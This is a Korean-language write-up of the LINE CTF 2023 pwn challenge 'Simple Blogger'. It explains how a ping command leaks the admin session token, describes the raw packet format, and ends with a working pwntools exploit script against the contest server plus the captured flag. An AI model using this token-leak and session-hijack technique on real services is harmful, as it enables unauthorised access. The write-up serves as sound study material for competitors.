2023 LINE CTF) Write-up (PWN/ Simple Blogger)

2023. 3. 26. 12:16CTF

목차

01) PWN) Simple Blogger


LINE CTF 2023.03.25~26

477 teams total

 

PWN) Simple Blogger (186 pts) - 25 Solves

Simple Blogger

agent, client, server가 제공된다.

보호기법은 nx만 걸려있으나 이를 이용하여 푸는 문제가 아니다.

 

알려진 문제점이 있었다. 대회 서버에 remote로 연결했을 때 guest / guest로 로그인이 되지 않는 문제점이 있다.

그러나 대회측에서는 문제를 푸는데에는 영향이 없다고 하였다.

 

- init.sql

CREATE TABLE blog(id INTEGER PRIMARY KEY AUTOINCREMENT, name VARCHAR(20), message VARCHAR(500));
INSERT INTO blog(name, message) VALUES('Super Admin', '<script>alert("XSS")</script>');

CREATE TABLE account(id INTEGER PRIMARY KEY AUTOINCREMENT, name VARCHAR(20), user VARCHAR(20), pass VARCHAR(20));
INSERT INTO account(name, user, pass) VALUES('super_admin', 'super_admin', HEX(RANDOMBLOB(16)));
INSERT INTO account(name, user, pass) VALUES('admin', 'admin', HEX(RANDOMBLOB(16)));
INSERT INTO account(name, user, pass) VALUES('guest', 'guest', 'guest');

CREATE TABLE sess(token BLOB, priv INT);
INSERT INTO sess(token, priv) VALUES(RANDOMBLOB(16), 1);

start_server.sh에서 init.sql을 사용하여 simple_blogger.db를 생성한다.

 

sql파일을 확인하면 guest는 아이디 guest 비밀번호 guest로 로그인할 수 있지만 super_admin과 admin으로 로그인하려면 랜덤 16바이트를 알아내야하기때문에 바로 로그인은 불가능했다.

 

대신 sess 테이블을 생성하는 부분을 보면 로그인하는 계정에 맞게 token과 priv을 부여하는것을 알 수 있다.

token은 랜덤 16바이트이다.

따라서 admin 계정의 세션이 서버 시작과 동시에 생성된다는 것을 알 수 있다.

 

서버에서 제공한 server_nix로 서버를 열고 client_nix로 테스트를 하면서, 몇가지 이상한점을 발견했다.

 

disassemble / sub_4025DC

메뉴에는 ping을 확인할수 있는 ping메뉴가 있는데, 보통 ping의 용도는 서버 연결을 확인하는 용도이다.

그러나 코드로 봤을때는 db에서 sess의 rowid가 1인 token을 가져와서 변수에 저장하는 부분이 존재한다.

rowid 1은 admin이므로 admin의 token이 메모리에 저장된다.

이 때 admin의 token은 위의 init.sql파일에서 생성되므로 고정값이다.

 

기능상 필요없는 코드이므로 이 부분을 더 분석해보았다.

 

client_nix 바이너리를 보면 ping 메뉴를 입력했을 때 응답값의 4글자만을 받아오도록 하는 코드가 있다.

정리하면, 클라이언트 프로그램을 통해 출력하면 PONG만 볼 수 있게된다.

 

따라서 client_nix를 통하지 않고 직접 패킷을 작성하였다.

문제파일에서 제공된 /agent/admin_janitor.py과 server_nix 분석을 통해 패킷의 형식을 알아낼 수 있다.

 

한가지 메뉴를 실행할 때 마다 한번의 request를 전송한다.

request의 형식은

버전설정을 위한 \x01 1바이트

메뉴 번호 (1 - ping, 2 - login, 3 - logout, 4 - read message, 5 - write message) 1바이트

sess의 토큰값 16바이트

출력할 데이터의 길이 2바이트

데이터 ~ 이다.

 

이 방법을 통해 admin의 token이 메모리의 어느 위치에 저장되는지 알아내기 위해서, init.sql파일의 token 랜덤 16바이트를 A*16으로 고정하고 db를 생성하여 서버를 실행시켜보았다.

 

그 후 출력되는 데이터들 중 A*16의 위치를 확인한 결과, PONG뒤에 바로 나오는 16바이트가 admin의 sess token임을 알 수 있다.

 

따라서, 처음에는 아무 값을 sess token에 입력하고 ping 메뉴 실행을 통해 admin sess token을 leak한 후,

leak한 값을 통해 flag 메뉴를 실행하면 admin의 권한으로 flag를 획득할 수 있다.

 

- ex.py

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

#s = remote("0.0.0.0", 4000)
s = remote("34.146.54.86", 10007)

def send_payload(menu, ses, data):
    payload = b"\x01" # version
    payload += menu # menu
    payload += ses # session
    payload += b"\x04\x00" # length 400
    payload += data # data
    s.sendline(payload)
    sleep(0.5)

#send_payload(b"\x02", b"A"*16, b":guest:guest:") # login guest
#print(hexdump(s.recv()))
#s.recv()

send_payload(b"\x01", b"A"*16, b"PING")

# leak
s.recv(8)
session = s.recv(16)
log.info(b"session:" + session)
s.recv()

send_payload(b"\x06", session, b"FLAG")

s.interactive()

플래그 획득

LINECTF{2b9598e3eca50122436702e10877cdce}

프로그램에 이상한 점을 몇가지 발견하고도 client 프로그램을 이용하지 않고 직접 server와 통신할 생각을 하지 못했기 때문에 삽질이 오래 걸린 것 같다.

문제 솔브 이전에 분석, 테스트하는 과정에서는 코드에 문제해결과 관련 없는 불필요한 코드들이 많아 시간이 더 소요되었다. 실제 프로그램에서도 충분히 발생할 수 있는 취약점이기 때문에 지금 진행중인 버그바운티 프로젝트에도 도움이 되는 좋은 문제였던 것 같다.